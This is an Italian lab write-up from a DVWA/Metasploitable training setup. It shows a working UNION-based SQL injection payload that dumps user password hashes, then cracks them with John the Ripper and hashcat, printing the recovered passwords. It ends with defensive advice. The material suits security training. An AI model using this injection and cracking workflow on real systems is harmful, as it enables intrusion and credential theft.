

PASSWORD CRACKING

1. OBIETTIVO

Estrarre dal database di DVWA le password hashate e decifrarle per renderle leggibili.

2. CONFIGURAZIONE LABORATORIO

Creare l'ambiente di lavoro mettendo in contatto la metasploitable 2 (vittima) e Kali Linux (attaccante) configurando le schede di rete sulla stessa rete interna o in Host-only.

3. PROCEDURA

3.1 ESTRAZIONE DEL DATABASE

1. Accedere alla DVWA e mettere livello di sicurezza low sulla pagina DVWA security.
2. Andare sulla pagina SQL injection e esfiltrare il database di password tramite questo comando: ' UNION SELECT user, password FROM users -- - .

```
ID: ' UNION SELECT user, password FROM users -- -  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
  
ID: ' UNION SELECT user, password FROM users -- -  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
  
ID: ' UNION SELECT user, password FROM users -- -  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
  
ID: ' UNION SELECT user, password FROM users -- -  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
  
ID: ' UNION SELECT user, password FROM users -- -  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

3. Inserire le credenziali in un file chiamato hash.txt:

admin:5f4dcc3b5aa765d61d8327deb882cf99

gordonb:e99a18c428cb38d5f260853678922e03

1337:8d3533d75ae2c3966d7e0d4fcc69216b

pablo:0d107d09f5bbe40cade3de5c71e9e9b7

smithy:5f4dcc3b5aa765d61d8327deb882cf99

4. Creare un altro file con solo le password chiamata solo_hash.txt

3.2 CRACKING PASSWORD

Fare una verifica del formato degli hash tramite hash-identifier:

```
# # # # # v1.2 #
# # # # # By Zion3R #
# # # # # www.Blackploit.com #
# # # # # Root@Blackploit.com #
#####
HASH: 5f4dcc3b5aa765d61d8327deb882cf99
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

Dall'immagine si può vedere che analizzando l'hash il formato identificato è il MD5

JOHN THE RIPPER

Questo è un tool che individua la password tramite brute-force o dizionario. Non è necessario specificare il tipo di tecnica utilizzata, ma ci sono diversi flag per rendere l'attacco più mirato come ad esempio il formato dell'hash, se non è in grado di farlo da solo.

```
(kali㉿kali)-[~/Desktop]
$ john --show --format=Raw-MD5 hash.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
```

HASHCAT

Questo è un programma molto usato per la sua grande velocità, poiché sfrutta la capacità della GPU. Nell'esecuzione del tool sulla kali ha riscontrato un errore poiché VirtualBox non permetteva l'accesso diretto alla scheda video. Per risolvere il problema senza degradare la performance, ho scaricato il programma su ambiente nativo windows.

```
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
8d3533d75ae2c3966d7e0d4fcc69216b:charley

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 0 (MD5)
Hash.Target.....: solo_hash.txt
Time.Started.....: Thu Jul 16 16:44:50 2026 (0 secs)
Time.Estimated.....: Thu Jul 16 16:44:50 2026 (0 secs)
Kernel.Feature....: Pure Kernel (password length 0-256 bytes)
Guess.Base.....: File (rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#01.....: 17828.1 kH/s (7.77ms) @ Accel:1024 Loops:1 Thr:63 Vec:1
Recovered.....: 4/4 (100.00%) Digests (total), 4/4 (100.00%) Digests (new)
Progress.....: 516096/14344384 (3.60%)
Rejected.....: 0/516096 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#01...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine..: Device Generator
Candidates.#01...: 123456 -> duduie

Started: Thu Jul 16 16:44:39 2026
Stopped: Thu Jul 16 16:44:51 2026
```

CONCLUSIONE

Sono entrambi ottimi tool che facilitano e rendono automatico il cracking delle password, ma, ad oggi, a livello professionale l’hashcat è più riconosciuto grazie alla sua velocità permessa dalla potenza della GPU. Infatti facendo un rapido confronto tra i due programmi si evidenzia che il secondo è 37 volte più veloce del primo.

Caratteristica	John the Ripper (Ambiente Virtuale)	Hashcat (Ambiente Host Nativo)
Piattaforma	VM Kali Linux (VirtualBox)	Windows 10/11 (Nativo)
Componente Hardware	CPU Virtualizzata (limitata dall'hypervisor)	GPU Fisica (Intel Iris Xe Graphics)
Velocità di Calcolo	479.647 c/s (~479 kH/s)	17.828.100 c/s (17.828,1 kH/s)
Efficienza Relativa	Baseline (1x)	~37 volte più veloce (37x)
Tempo di Esecuzione	Frazione di secondo	0 secondi (Istantaneo)

Per proteggersi da questo tipo di attacchi è buona norma scegliere password complesse e lunghe, poiché richiedono più potenza di calcolo, il NIST ad oggi consiglia di usare delle PASSPHRASE, che sono anche facili da ricordare. Per limitare i danni di attacchi andati a buon fine si raccomanda di attivare autenticazione MFA/2MFA.